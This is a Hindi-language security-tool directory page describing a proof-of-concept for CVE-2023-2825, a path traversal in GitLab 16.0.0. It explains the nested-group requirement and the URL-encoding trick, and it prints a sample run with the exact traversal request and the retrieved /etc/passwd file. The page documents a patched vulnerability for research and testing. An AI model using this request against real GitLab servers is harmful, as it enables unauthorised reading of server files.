Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-2825 — GitLab CVE-2023-2825 PoC. This PoC leverages a path traversal vulnerability to retrieve the /etc/passwd file from a system running GitLab 16.0.0. | Kitploit
उपकरण/GitHubGitHub/occamsec/cve-2023-2825
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHuboccamsec/cve-2023-2825

CVE-2023-2825

GitLab CVE-2023-2825 PoC. This PoC leverages a path traversal vulnerability to retrieve the /etc/passwd file from a system running GitLab 16.0.0.

रिपॉजिटरी देखें
140313 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

CVE-2023-2825 - GitLab CE/EE 16.0.0 पथ ट्रैवर्सल के माध्यम से मनमाना फ़ाइल पठन

23 मई 2023 को GitLab ने संस्करण 16.0.1 जारी किया जिसने एक गंभीर भेद्यता, CVE-2023-2825 को ठीक किया, जो सामुदायिक संस्करण (CE) और एंटरप्राइज़ संस्करण (EE) 16.0.0 को प्रभावित करती है। यह भेद्यता अप्रमाणित उपयोगकर्ताओं को पथ ट्रैवर्सल बग के माध्यम से मनमानी फ़ाइलें पढ़ने की अनुमति देती है। इसकी खोज pwnie ने HackerOne पर बग बाउंटी प्रोग्राम के माध्यम से की।

लेखन के समय, कोई सार्वजनिक प्रूफ ऑफ कॉन्सेप्ट उपलब्ध नहीं था

GitLab सलाह

एक अप्रमाणित दुर्भावनापूर्ण उपयोगकर्ता एक पथ ट्रैवर्सल भेद्यता का उपयोग करके सर्वर पर मनमानी फ़ाइलें पढ़ सकता है जब कम से कम पांच समूहों के भीतर नेस्टेड किसी सार्वजनिक प्रोजेक्ट में एक अनुलग्नक मौजूद हो। यह एक गंभीर गंभीरता का मुद्दा है (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0)।

उप-समूह

इस भेद्यता की एक दिलचस्प आवश्यकता है जहां प्रोजेक्ट को कम से कम 5 समूहों में नेस्टेड होना चाहिए। हमारे परीक्षण में, हमने समूहों की संख्या और आप जिन निर्देशिकाओं को ट्रैवर्स कर सकते हैं, के बीच सीधा संबंध पाया। नियम N + 1 प्रतीत होता है, जिसका अर्थ है कि यदि आप 10 निर्देशिकाओं को ट्रैवर्स करना चाहते हैं तो आपके पास 11 समूह होने चाहिए।

एक मानक GitLab स्थापना पर, फ़ाइल अनुलग्नक /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file> पर अपलोड किए जाते हैं। इसलिए यदि आप फाइलसिस्टम रूट तक पहुंचना चाहते हैं, तो आपको 10 निर्देशिकाएं पीछे जाना होगा और इसलिए आपको 11 समूहों की आवश्यकता है।

फ़ाइल अपलोड और पथ ट्रैवर्सल

जब आप GitLab मुद्दे पर एक अनुलग्नक के रूप में एक फ़ाइल अपलोड करते हैं, तो POST - /:repo/upload पर एक अनुरोध भेजा जाता है। यह फ़ाइल URL के साथ एक JSON प्रतिक्रिया लौटाता है, जिससे आप फ़ाइल तक पहुंच सकते हैं।

फ़ाइल URL /:repo/uploads/:id/:file से बना है जहां :file स्वयं फ़ाइल का नाम है। :file को किसी भी फ़ाइल पथ से बदलने से GitLab अनुरोधित फ़ाइल लौटाएगा। GitLab इस फ़ाइल पथ को साफ करने में विफल रहता है, जिससे पथ ट्रैवर्सल होता है।

इस भेद्यता का सफलतापूर्वक शोषण करने के लिए, आपको फ़ाइल पथ में / को URL एन्कोड करना होगा। GitLab इसे एक मान के रूप में पढ़ेगा और आंतरिक रूप से डीकोड करेगा। इसे एन्कोड करने में विफल रहने पर GitLab फ़ाइल पथ में / की व्याख्या मार्ग के भाग के रूप में करेगा।

हमारे परीक्षण में, केवल / को एन्कोड करना Nginx पथ त्रुटियों को बायपास करने के लिए पर्याप्त था।

प्रमाणीकरण

अप्रमाणित उपयोगकर्ता केवल उन सार्वजनिक रिपॉजिटरी पर इस भेद्यता का शोषण कर सकते हैं जो नेस्टेड समूह आवश्यकताओं को पूरा करते हैं। रिपॉजिटरी तक पहुंचने के लिए प्रमाणीकरण आवश्यक है।

प्रूफ ऑफ कॉन्सेप्ट

हमने Python में प्रूफ ऑफ कॉन्सेप्ट विकसित किया। यह 11 समूह बनाता है, एक सार्वजनिक रिपो बनाता है, एक फ़ाइल अपलोड करता है, और फिर /etc/passwd फ़ाइल प्राप्त करने के लिए भेद्यता का शोषण करता है।

आउटपुट

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

अनुशंसित कार्रवाइयां

GitLab इस मुद्दे से प्रभावित सभी संस्करणों को जल्द से जल्द अपग्रेड करने की सिफारिश करता है।

संदर्भ

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

https://occamsec.com/exploit-for-cve-2023-2825/

टूल डाउनलोड करें